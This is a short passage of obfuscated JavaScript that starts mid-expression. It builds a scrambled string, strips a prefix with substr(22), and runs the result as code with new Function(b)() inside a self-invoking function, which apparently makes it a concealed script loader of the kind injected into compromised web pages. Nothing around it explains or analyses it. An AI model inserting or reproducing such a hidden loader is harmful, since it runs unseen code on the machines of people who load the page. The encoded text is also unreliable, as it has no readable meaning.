Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();